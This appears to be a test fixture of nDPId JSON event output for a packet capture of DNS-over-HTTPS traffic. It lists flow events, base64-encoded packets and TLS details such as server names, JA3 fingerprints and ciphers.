nvNfRO2hnDlR3xxWpDeCDtY554dnKSdrEsmz56E3HZY7CS4xffa2qaRU9o8FE6oWceQ2YomJuE\/bMT3knxqniPrzl1K3GkigMh9J1i47zylUFJIasxWeeT4rnsrPdwO5pPpDZPDAhZZKqamf0Xxf7UyzOur5bQ0RGdSbDmjCGZUxwrcQgCzOocJ07C3y9f5\/cPHLy4Hcpi9nKHy5+zMgLxDuHh45d7g5aX2opBYeDFdZVkS35fhN\/VA5YDY3hjQkRRPMbthZpOOEiiUTiyQGuttf7SmNH1qqd0+P4R98lk6wmtu\/RYPzzoAOrY33Oweyfv45FrUJjxFb3dkB2JJBL+a3b7QXiEHk+jfi2DFJC8R1nDmEiD7lG0zp+GgCp2hMKrzTinc3jq7XrvSXgjRArW5vMll4UVtkgCZOG8JOPCJ+1InS6ZkzsHBlVE1ulhcQ6O07QOIetMX\/TQcpOws1Y3zI6xlDo7QN9RXjghTw1OQy\/e7csIpoqCDP+zQIn4uVNd9knXoZalNv0Vl+aMYpSUZU7SqXuPd5TrgUjyDCp5uSeJ7PvFxTrvq2m\/J4PCA00dz61blph4TnR5jqkjnWkPCWysgjmFP6jSXDVhi7OEYKJ3O5rj9s1KlWrTAKqEQ1WqkKpYs5zhjZX8C2jJXc7kR7CLzfiUXF\/NgCKD1oPTUZ3B8\/5yhnRignY4ZXMdGmmpuO\/YtIw9z3hTG2mvGzyDH+lTissPE7qvJQZpSJa3YSyfqgptZgRRY3rqQwM1Uan0WZB\/VyeZi71E8HGjmCdytjr1tbuT47siLcnpw\/tnXbVcW0DRQa0UluCuUeRWsFfgTuUhjuWHPeilVqW8TKVGxmd00ikgPoQa60hulHvmRZ5KO6vzi71RXX6dL\/wcA9t7hqc08oZMCG7pFOGbkwZ0H2Ou1cGKyFuTh2P28nKV1VsXeJy03j0rMepvwRePH7BjQM109D5zTvZ+x9U7LeeU5p\/97XLGVSvHyU6QoAkvI7FvvpHkTyoqhk2wuau1Ks3W6ziSuG5ItHrlZeoz2vdhzoVB+PdecdxLzV339b9A3nHa+rng\/3RfrU7m\/xV1uGOltE\/q6T8zbMwllfgMWQHWJtalokkS691O3vXWaxSb0GH3Eukn2GTLqT7xyn8hsg3I5F5pOCMspm6GHKCedNXQt\/rOrbG+70oNkLEiqOTucHrzdm7u3q9vZm5H7InHwwhmYB9o+wmMx9CpSsan17Eu6kQzONsC+k776iKm10F9TFCFRzcFvoSkJVRCogWUna5X6unZPh90yhZj+joK9OmDYl3uGf3cxeeYhuWr7BFipgMV88P5BfhbMuQJTiRkmE2tdVLKXiJJMT3RIuLttxViwKIZxqrsBPVZWuFgeoB\/tNKx1MPoFMSkd6Ady\/JPiKCd\/Lo+LSa+EGciXu3JhsD37LOO\/iaE1hxwYGWesFtcRBD82I4gt\/VZ4IZMSaNKHgm65E6lCcq41BJ\/gbuCDCFJ47l5UE8QhYSOHmp5J9j5vA1FjZFm5Iv6VRZaegnWKKRCmp+e5pBYWdf4T92iFA3wkmAojnbzcZPXM1FL7vahyaLx6fEfTzbYntPyfIJ2l5KJE855FQl1WRsib7X80Yvtknk5W4cHEv1yr1kjUU2CGJ8WMhJhi5rps9ncDKvd4PP0dTrH0ia8H78o1K4OYwHp0nPI0tpDBJqSO906qPhy7pON78NLR8NLi7ebyinTbjqYrIeAPW0BcPQXfo+ePTRQEGlW7G5LCAYlQCvO5j\/LMgF9c3iJwt3nUbOE+eqHvK0\/PHJmQK+ijLfXFLdBd6NBQSn3sHF\/qzgQRE5VwfSRmK55bFmg0PCiTnhGTWzfK0OvOvyyAAiwvXCaBV+gFnzKnwwQ+4ebBmLMgQpqYGGOrzwhV7P+RvbAFwMDARmYqpARsWX06T7\/aIqUa3gqpszdt6QdkNXpjrjP\/CtX9C+2AHbAmlDaq+eynMum8sDVzFoKFvQfGpt91s0+c4BcfaWSQDicP6abNOaMq+Hp75lMfIATEOyO9cUpGtsxdjbO98fR3ligfvynTicYTBBKOabjGzsvGqpIQNsc6yP7ec1DM5IvytEF3WMD\/BSWfSyCMBkPc77J1iCDteQqYtaAe0whPDVMG6GGDORujY8TM3L19IZL3YvYjw7AjSCmeKp+dThVSFL7D\/ks2Bt12v6Pc4J\/bL1kxAzO4vYx1vazs5rxcAfFBrI00UuE4UKrW1AuFrQrWAmy8gFVgJ7l+nCzCeDoyrV14OgMNuqUXIpirZiejq2fhnoXshcDAwA1MiDkD+m6EfUtBdx\/Pyl0ehgKaB76+ayZoBt6uEP7tnUDn+hUUsmcN7NZ1IZhFxhyx2uKd6w="} +00831{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":28,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":946739304846,"flow_last_seen":946739304885,"flow_tot_l4_data_len":3461,"flow_min_l4_data_len":310,"flow_max_l4_data_len":3151,"flow_avg_l4_data_len":1730,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.147.50","src_port":55962,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"resolver-eu.lelux.fi","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00507{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":887457,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoCqRAAL0GK18KAAABM56TMtqaAbsV\/Em6hf1DuFAYAfWH5wAAFAMDAAEBFwMDADVGrMk33Jx9u4V9oT8gk9T3N9siooKVMszOs96zlvjMst5cKF\/6mDE\/X3tfb1uyKq+NLUpVEQ=="} +00535{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":887574,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+CqVAAL0GK0gKAAABM56TMtqaAbsV\/En6hf1DuFAYAfWH\/QAAFwMDAFHXdLFaAz+Z2rHdRMF6waDqPR4Tw1IOHDhUOX4GIW3IMxkSZnzM4IxIu8uFUy3E0ZKGcdTqsrNExBJvv2oqkuc8+GXwUqWl+KahajxLfpnsMkI="} +00661{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":887767,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADYCqZAAL0GKu0KAAABM56TMtqaAbsV\/EpQhf1DuFAYAfWIVwAAFwMDAKus1yP1uKqMf1urenhXvkk1hHi5ysvI5vyFfqtgY7v\/4nRbEU5uNq0wg5+jVbveXNEZspGMDNtai7WF8t2v\/t5LwbYD+cQyx\/yKWMvd+aPvRdf9hU+NHxeDFND1qO6ntW\/6XX3UERjRgJPnDDWLmLo9EfSKCZqn\/QZLxvp1pQX6lmDwrVkvwYAqwv6GnlidXXNWG\/GwqTe+iZ37GYK1wGymo\/DctlUHBZMn+D0="} +00526{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":887847,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3CqdAAL0GK00KAAABM56TMtqaAbsV\/EsAhf1DuFAYAfWH9gAAFwMDAEpxc7y8ZCknaJ0aZlywYrDFkPtZi60HKqecmDR\/R+0fONQiRsDGRxVksKYxSlddgGeQYWWWpr4pkN1u5o+aTZ7TG8J3L1nnl1VceA=="} +00529{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":913690,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB3gBBAADcGO+QznpMyCgAAAQG72pqF\/UO4FfxLT1AYAfVHMQAAFwMDAEr3X7AqI4R1tFi5Kj\/fS7\/ucZHqtWxDFFI3S0lAm9QPhI6G9\/bqAb+vVK0DwhIngp5zKlj\/zg4n8Wv+wNXNmTPd1tD2Vb3t6JmDNA=="} +00525{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":913728,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB3gBFAADcGO+MznpMyCgAAAQG72pqF\/UQHFfxLT1AYAfW6NgAAFwMDAEqiz2IPh22vDr8iTF+woYOSptNBY2mrZomC4cXYURoxH4INZkjVmrsnnlxnFE+b7Eg17WE9IkVauhDTXAoug5nSbC8dNb44fgVUIQ=="} +00513{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":913913,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"ZmZmZmZmRERERERECABFAABwgBJAADcGO+kznpMyCgAAAQG72pqF\/URWFfxLT1AYAfXg0AAAFwMDAEMoVCQ7vgBpsbDKkxjIgERJliTT0TawcR4LEOlOnXa1eh87bD9xfXcsb8+uhWuRCvBQcfhsEYVyLnQM7MKfXQDT6U5c"} +00462{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":914001,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHCqlAAL0GK3sKAAABM56TMtqaAbsV\/EtPhf1EnlAYAfWHxgAAFwMDABrfsw5kkkbfYqbiWE\/KT0O5Hl\/CjE4JZ3vEAw=="} +01717{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":916724,"pkt_caplen":1011,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1011,"pkt_l4_len":977,"pkt":"ZmZmZmZmRERERERECABFAAPlgBNAADcGOHMznpMyCgAAAQG72pqF\/USeFfxLT1AYAfXq3AAAFwMDA7gKj+0DGDarxJOHfXE2oNd2Uf7v9NJYpUIPsrK57ROZ2H6gUwY42SktSy6fvn6K6cULssmmvo6wBtU5Xxdur04apDonBSrk4yc9xx+ZIJj9rnYZMpBHiqlTt3tl7xjpHXZBhBz0nHNtEnLJqDF\/HxqF++6O29qS85GiWfBozK7V6\/aeIgwxuvvXPpSbtQRw8CLSRZaH6i47FVAHXhqtPrhCHxLeVep\/Hh2oHFoCiXaq07Qp4eMor71w9rBTuSU7auth2DOnr\/weatM+lhDbItmkcDzSKu1EtZYO5jpzjudtG4SgJn\/MtdieYJ3PjObZpp63gedC\/boOcYYK2VqgZ9UE2C\/OC34dDD3m2FhakjQW2D5s2Hcmebe3fEwc3CYV8t45etQKfbE+93m1FEfaPrg5iKsPTcep7gTHcB1V4KBY8nv\/\/FBNLQ2No5Vs65v3V2eNXwWoHc8dUDeFjsvKOTfb10P77aQVv5kwdaWl9gQBVAj66UH4xIPtFfX2BupM3P8D5eB3\/5ybzh6mJiDeuEehZYRHQawcXykG2acyXLJ4oN9EnDfXMlAigFJeWrDxncUNljfUOHLGMkwciLEwcYbqFYu9MtcFHDmNX5n2YxJwk1pjk5S7TtogMPS\/\/E7SI3TuLh9noZLNqsOdH+3bHr+iOPTlxgU2be8COXpmROxdOdUPdrLEHB\/yC9wANa3lpoCFXm6Unczu3BtsMuVvA6QQKXOoAwQQRLaIUyyCKowwXUEBwqKobx1EIWKObkXXexKZaLDv6QyrL8mX3z\/ec5O57GA+czJIU24QgQT3dEjXfXJ+tznhmUkXzDa5yokP+D2bSp\/rBz9AzBaivQ7026k1jDcFMpVI20L77k0zI\/et9OF7jr3PJFLj7DWl6NxBwvzJHKO2lO+YaebzYWt7flWXyJkclELi7IfyAu3Lp2QiScFXgUNdDK34DRhZAiTdFG1nmsHRjPyNIHYN3Aad69v1H+GUbFzkk2RnuTdMlELj+NNmtftedNJugNtCtRSpYD7ZzrXUbIy6SuIXvaX9MsIHmfqSvckh1Mblxqty2ovEhihdkxhdFWldhpqO9a5SzWbmU0eQp84ZaTPn+eCwNecLqQO0j+JDP8qhfWCU8XGoNGWnvsrQJ1TlE9yFOBu7TCkHvJ\/uUljlViAdxCgJoW25OCZJZ+K\/lOTp5JDuRxBoi1UzPrBhuGqABZLKrTKInTRfkGbwxymsiroqiu0Z2ZlQA\/6YRJUdUXcOq1MURA3m9\/WBmCtWNYtW"} +00464{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":917107,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLCqpAAL0GK3YKAAABM56TMtqaAbsV\/Etuhf1IW1AYAfWHygAAFwMDAB7sM8oFk88mAgCz0I2wdSGqaYZmmCq5UtDOoRfj74E="} +00560{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":917223,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRCqtAAL0GKy8KAAABM56TMtqaAbsV\/EuRhf1IW1AYAfWIEAAAFwMDAGSama1Yhb51kK2zbQ6rM5eFyfh7rS1snhG9VmY4XL+xDlnXMLc84rbL3uR95gwnzpyGXbL2WOZQWI4tSDxAo8uplzLFHVcroxi48kgP5kyZVcB\/WhwSKkWrDV3iMlXjmckAj51E"} +00568{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":917307,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWCqxAAL0GKykKAAABM56TMtqaAbsV\/Ev6hf1IW1AYAfWIFQAAFwMDAGkg3rUd+kv9D7LpeRqMgxeTsATVsDIt1mVHZnZqap6LKtw1K9Gl\/XnzCbmcIcjEn6NFnYjtNrvcQuyI+J3IiMpas9FE+4hRsQRXQ8osoT3u2QKxF0Kde5d9akjBi20rbEm5NigAzZOpgMU="} +00483{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":944858,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"ZmZmZmZmRERERERECABFAABYgBVAADcGO\/4znpMyCgAAAQG72pqF\/UhbFfxMaFAYAfVMZQAAFwMDACvzd62r12MvNm4T9ST9QVvoNu+55SlThx2NBggyYv+RPK5HD9OFiDS2kFMI"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":946739305016,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":59404,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":16448,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFIJYRAAL0Ggi8KAAABuf2aQugMAbv\/W2fgE34PaFAYAfYWNwAAFgMBARsBAAEXAwO7rF9fivBYq0PPnnVftpI5xv63Wth8iDXYIbCI66xBbCCVvQ4J9sHqcW\/KB2T6FVper40CtcJE9we9duJ2lwo5jAAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASZG5zZXMuYWxla2JlcmcubmV0AAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AIHdlaU8VTQtoxOo631cPtMLo1fhD\/NP8\/WHh2FCfWmp6"} +00777{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":946739305016,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":59404,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dnses.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04358{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":61248,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuA+UlAADkGKDK5\/ZpCCgAAAQG76AwTfg9o\/1tpAFAQAIMgbwAAFgMDAHoCAAB2AwNWoPreEkJ\/UPiZCRV0IEx6jRSqugqY3M+B37V87ydZxyCVvQ4J9sHqcW\/KB2T6FVper40CtcJE9we9duJ2lwo5jBMBAAAuADMAJAAdACB0RVn8jGqUM9fyfUTkTuhvHxWfPva1vJ9a18\/+TyUNbgArAAIDBBQDAwABARcDAwteuwCVRbAjw9pKtY4dNJzB+NkDPzUPU\/YSrAhwNpHIEK5V+o2\/HqZHUFxtVJbEBPgURU0pRFWa9dL9lQp8LuDwWHwDq1H1B4wIu6Cjn5BK872nUeQltRw5+FbrO5MDeZZJRgg48HKHnsK1mBHQnXLVwFvBE\/e\/UwSrANn9vg+B6zkss+nwjnEuw1XfKHcjr3B+gq7Tt\/pkx\/SEVt9DDhoVQjkT+nj8Ch6uFvKMxBfoNlGXQAfQ76Cfus9zBAZT5EY1YHp8kypEbWJsqWobkhk3j7efutg\/+7i\/\/3hwY3S4DA+PZFxsrSsM6AIVwaJ95fOH1dRdOyCRxbfVQ1s5uNDJcA7OdsaNR8VQ06UA5uK3FnFY9IaeCSIuzswKtKKP\/cTlEabfxoFlZbInteiv8UhvUx14oYH8877iKbTHauga0SrPYwJ3hDQ38FuPBJ16hIcickFsAxoIxHcrJTcDxD31\/+27P70ucqJUKNnKmwnMS5iCjU275dZeWQ9Zr0T4s7GAOpJ\/qhuQ0adCzilfe+zxessB1BHzKqNpomqUeAJU6wiiIZGwIQCSR9TnB+R6Furn+4OgUG6PGNdXCZNQ9itsUGoaOah9Fd+b\/mJSMoK\/FuhgIcCIxvGAml0OlSPbxxyIuGAWgYtRBimB3o6JaqY5BlDiRDxZX24w4nNBhNEgZ23H2qCY1hFOw\/NxAIqZ6i1OczcdQK5je4mFGQnk7n2Dd0xCvT\/QbVT+DGwohNzMpmrD81sKP2YRMryNcEXaCYgEk0oi4bjQNtHjwEi3WiSTxdHtROjzPbx1MuktYL6gASggOg1Ub+v8yVRI6bLdeV5Xwvz5ZxoF9vdrBEyvVBdMauaRYoyVnXm15LfrTPUCeXkHS1kWpj909RBaupD8tKI35AMNBM63GiCNIPCKacZOle5IpXYl1uAfPyEf7I7c\/Z2VAGWif0f1eRsudqghQ1VDSbMFMSOUlZF8oqR69Dp+GUrZSkzXH\/vlToVdum7PDCHkza\/W9cBDPI5wtxaPFdq19aD9CF4UXzcnY86h4hX1BAKMl5ymvY9oQmQKwLyZZk7gJ3BG3QSRRkEJLHmElRTA\/j6+UD2DUirljLXPFbrXC2eKn2CCwq3Zuv5P5wO5+t0UU\/yghFoQluNjQ3lfw4zQuwuXqm940OzzyqoEcUuHVR8IXnZ8TZqE90q8rCtGIOP+LD4hWpqBqHuwk66vMcJQgwNCFXix5ZnSXLN0BgV30sQI8N\/4QNcrVg18QrqrwMX5353ArFRERLIaGuZFxOud2tKJXNi7\/8bnQL4pfggVMDHzys0Vv2kSkmMM9AH5fy6is33XJQsCiLeVAW2BJv0HWG\/2v54ftufeuJKqjAweFaFpf8nOnSzUujidt2Hj6vD7NzSy9u5bVuAiVU8CLsOjLUQDZZwuXq5KPOpcqPkwUfO\/JhY2IYSty68WbtoEQ\/LicI5G0k7qhGVYDDLZjTT029eOEYuXI7f+lB6Kb+6SLaMGDm8r9Mw7ebinM16XyWOwJ5JBUayf+vtez432JNrnbq1SGS5rLH5Fg5ZMgKUFbGPULmfIDV2jwsa5no0weJKoBPHSF0j2z2Ws3ZeYohMSNwPof+eIkWPeDsS0odMH3bOI8vjnmbAlt1LEuTlP9Bgfbe4EZBkTArblnr1PduSYp9HHqPcDcdegoFu3tk12XJWCeAczLwMdcKTivhfzRMPv6R\/QbwvNULNcqw3kjep\/lhPa8MK5fd2CGyIw+LCWxGXv+q\/ds\/TSYSN0doo9wcXYWwj8LntYcpK6i8bE1mnU9HhfDXOdgKZheyUxq\/2aHTotcU7hlwJGxzG1S8L2XOL+e5cK\/uWYrHMSCsilBLjzbaE58\/UhgQTo4G7REl65txB7jkxytOXC2V8igiA\/VVPL1iSyOqszjZhZj\/KQ7cRXbuiY2hUvh3d1GHeunUPxkjVr7SBFLwo5npluN5uAfc+7Lx2v8sh\/0AXjRBQzrzXUGOKzmSDk4EsluiAOjG78HzOAmharQORiNXCoRaRa+fhf0Ejafe7HoDuKqj5ukCKAbsCU6se\/uViDv0Ko0frloNjTZWVHeFLAU\/8Rxbf5R8lMV480rpPEWmLytLklZol4xviBgu3uvWIUzW30atpHjpq+x1y1B4ZeqEOMO83R7O6ddmc3f06vtoo06tW\/Agu9h766pQvpNm2vTYudTnd6DSqBlKI5KeonXz4AxZiEG5DKNiVkur+pxwlM3ugAjT44z5C6NIq2xLtYBKvjI4ZiVK+oThODcy5mgGaurXo21aX3cTizFa3bH6OPqttL9gjP05Bka27HY2jgRwKVSbziiMro9AX8Xsmg6S2yWOPjJLfqZCcbtLmpaNGvdFtOkH77j4F52qkt+me41p1UftUvN6wiwxxp99NI0\/fMosQgl7ighWoY2W\/IB0fXHatEvBsmPr1KEj7P+aJaj7oNVmyRVuFHPwaBwwi7T8Vvj9wG3gSDuuYdP5+UFDM+35GxMSRkihqY1Nf52lvDc2vDx7TdolcUJnmrezHB7iOplwsA\/pnoSxDqDzY8u2hWCRC+c4jg1z3vL2zvzGplrkFak387ZT7iXl569hRQY0g6W72J\/qU\/wWvKrh5aic7Fca9+09fN8mKvizdcBFS1tmo5ud9hSP5IApLh\/AqNGAsSvFB77AMVMPcqCZqs\/LzhQ6p8mk1Ztud+POMwqvs7eCTrsyIwvCFHr3MjxRECobkoOUnKuDn6O2Ba4MeFaOtHE1XjJdkhICNgy76FwlNk7qa2miONerIZrFWrQmU2yx1Al5ihAv+BSYo7OLYt9zXUcCSntdFwaG5iWvn2D3TqvQcyGsX7n8R8YOUmBL+xEDz8\/cHI76eHoMT9Gcmgev3Cz2de\/7ilgKsoMsC9dl+Ldtg+QDnuzeji5lROtOH+fv+MRICCWa3t+oaVa2XgjAhIywmeaAGP7+W10HhLqbtIimjrrdbxpeltnnJv0HxLov9cXj+b0Pm2tBSSGlhGmiCqLRib5vepRDq5ASTdoFYCIMH422KVZztJ1b63ltyCjG5NtOVaK\/MkO7\/KWS1XPbQXAVUScApoXkKlzQiVxTCMZQoZIoE4pH0+fjzQcElC405f+pmLRfF1iVpdbRwPdWdjvokVy8bVGY3GGXVtgS7DasELvMxZruoBcMEH12JcU31nt00epqRaM7Ty\/hGPJ9RgbFIN6nscoLHLm6YFkdOMqn+3D0CMvB4x652Bu8PF5m7DHJMIBJSoh\/WEUOZDxlHi5CT9KYRNTMZDhIkJj++9o8TtwBf\/+FOKgQZYlLc9emRrICiIhqz7dIu9M1nNq8igrwodBBqfV3IJasHHoy\/F57WNpO6ufh54oPFaVKYJn1bg656yNokeiXMSkMhJsmjb0+SAmQ0rTBRRWtbjoeZCc3gkigutNXY3WNHxKSc5xsJ9iyr3gTZdRpWgWbT+isP5Ovqam4GzSglt\/k+unyjMz4\/f8vVi\/7W288anM52u2gAT5Id3RGTrtEQDPQ8UVftSrylfoNAZTKGGhUJLAcmefkYZfUt\/EB+t1\/S5DOAvsgdK0URdbVybob0RmFJKIBsQ7DYRwD\/HgqXJ6uMDVUKO9XoO+9dwhRf11sqhooAzPCeXtVLggV615qXldaBtBjJ4Fa\/LAamnbZck+pr1D1RAPJP4HQwfBLL\/eWmzwOCA4y+tqnSn"} +00830{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":44,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":2,"flow_first_seen":946739305016,"flow_last_seen":946739305061,"flow_tot_l4_data_len":3232,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1616,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":59404,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dnses.alekberg.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 